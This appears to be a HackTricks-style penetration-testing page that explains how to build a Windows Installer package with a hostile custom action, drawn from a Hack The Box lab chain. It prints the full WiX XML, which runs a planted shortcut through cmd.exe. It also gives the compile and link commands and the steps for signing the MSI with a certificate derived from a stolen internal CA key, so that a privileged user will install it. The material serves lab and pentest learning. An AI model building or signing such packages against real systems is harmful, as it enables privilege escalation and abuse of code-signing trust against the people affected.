// HackTricks · Windows

Creating a Custom-Action MSI with WiX

Creating a Custom-Action MSI with WiX

This historical Hack The Box chain used WiX Toolset v3 to build an MSI that launched a previously planted .lnk file. An MSI is not automatically privileged: execution occurs in the context selected by Windows Installer policy, the custom-action attributes, and whoever installs it. In the cited scenario, the attacker also stole a trusted signing CA and placed the signed MSI in a folder watched by another user.[1][3]

For a comprehensive understanding of wix MSI usage examples, it is advisable to consult this page. Here, you can find various examples that demonstrate the usage of wix MSI.[2]

The MSI runs C:\Users\Public\Desktop\Shortcuts\rick.lnk. The original WiX v3 XML is preserved below:[1]

<?xml version="1.0"?>
<Wix xmlns="http://schemas.microsoft.com/wix/2006/wi">
<Product Id="*" UpgradeCode="12345678-1234-1234-1234-111111111111" Name="Example Product Name"
Version="0.0.1" Manufacturer="@_xpn_" Language="1033">
<Package InstallerVersion="200" Compressed="yes" Comments="Windows Installer Package"/>
<Media Id="1" Cabinet="product.cab" EmbedCab="yes"/>
<Directory Id="TARGETDIR" Name="SourceDir">
<Directory Id="ProgramFilesFolder">
<Directory Id="INSTALLLOCATION" Name="Example">
<Component Id="ApplicationFiles" Guid="12345678-1234-1234-1234-222222222222">
</Component>
</Directory>
</Directory>
</Directory>
<Feature Id="DefaultFeature" Level="1">
<ComponentRef Id="ApplicationFiles"/>
</Feature>
<Property Id="cmdline">cmd.exe /C "c:\users\public\desktop\shortcuts\rick.lnk"</Property>
<CustomAction Id="Stage1" Execute="deferred" Directory="TARGETDIR" ExeCommand='[cmdline]' Return="ignore"
Impersonate="yes"/>
<CustomAction Id="Stage2" Execute="deferred" Script="vbscript" Return="check">
fail_here
</CustomAction>
<InstallExecuteSequence>
<Custom Action="Stage1" After="InstallInitialize"></Custom>
<Custom Action="Stage2" Before="InstallFiles"></Custom>
</InstallExecuteSequence>
</Product>
</Wix>

InstallerVersion declares the minimum Windows Installer version and Compressed="yes" marks the package as compressed. Stage1 is deferred but has Impersonate="yes", so it runs with the installing user’s impersonated token; change of privilege in this scenario came from the privileged user who later opened the MSI, not from that attribute magically granting SYSTEM.[3]

Compile the source to a WiX object with candle.exe:[1]

candle.exe -out C:\tmp\wix.wixobj C:\tmp\Ethereal\msi.xml

Link that object into an MSI with light.exe:[1]

light.exe -out C:\tmp\Ethereal\rick.msi C:\tmp\wix.wixobj

Signing step used in the original chain

The target workflow accepted packages signed by a compromised internal CA. The write-up derived a signing certificate from the recovered MyCA.cer/MyCA.pvk, created a PFX, and signed the MSI:[1]

makecert.exe -n "CN=Ethereal" -pe -cy end `
  -ic C:\tmp\MyCA.cer -iv C:\tmp\MyCA.pvk -sky signature `
  -sv C:\tmp\rick.pvk C:\tmp\rick.cer
pvk2pfx.exe -pvk C:\tmp\rick.pvk -spc C:\tmp\rick.cer -pfx C:\tmp\rick.pfx
signtool.exe sign /f C:\tmp\rick.pfx C:\tmp\Ethereal\rick.msi

The attacker then placed the signed package in D:\DEV\MSIs and waited for the privileged workflow/user to execute it. Preserve that precondition when adapting the technique: without an elevated installation path, unsafe policy such as AlwaysInstallElevated, or a privileged victim, this package executes only with the current user’s rights.

References

☧ CPTS · ordered posts

Locked

Unlock with your Main_Key through local GPG.

Start the local GPG helper

In your cheatsheet checkout, run:

npm run unlock:helper

Open the link it prints, or paste its pairing code below. Keep the terminal open until GPG finishes.

Import an index you already decrypted

Download the encrypted index, then decrypt with GPG:

gpg --output report-index.json --decrypt report-index.gpg

Your private key stays in GPG. The decrypted index is saved in this browser so you can reopen it after navigation, refreshes and restarts. Lock this browser or clear this site's browser data to remove the saved index. Nothing is uploaded.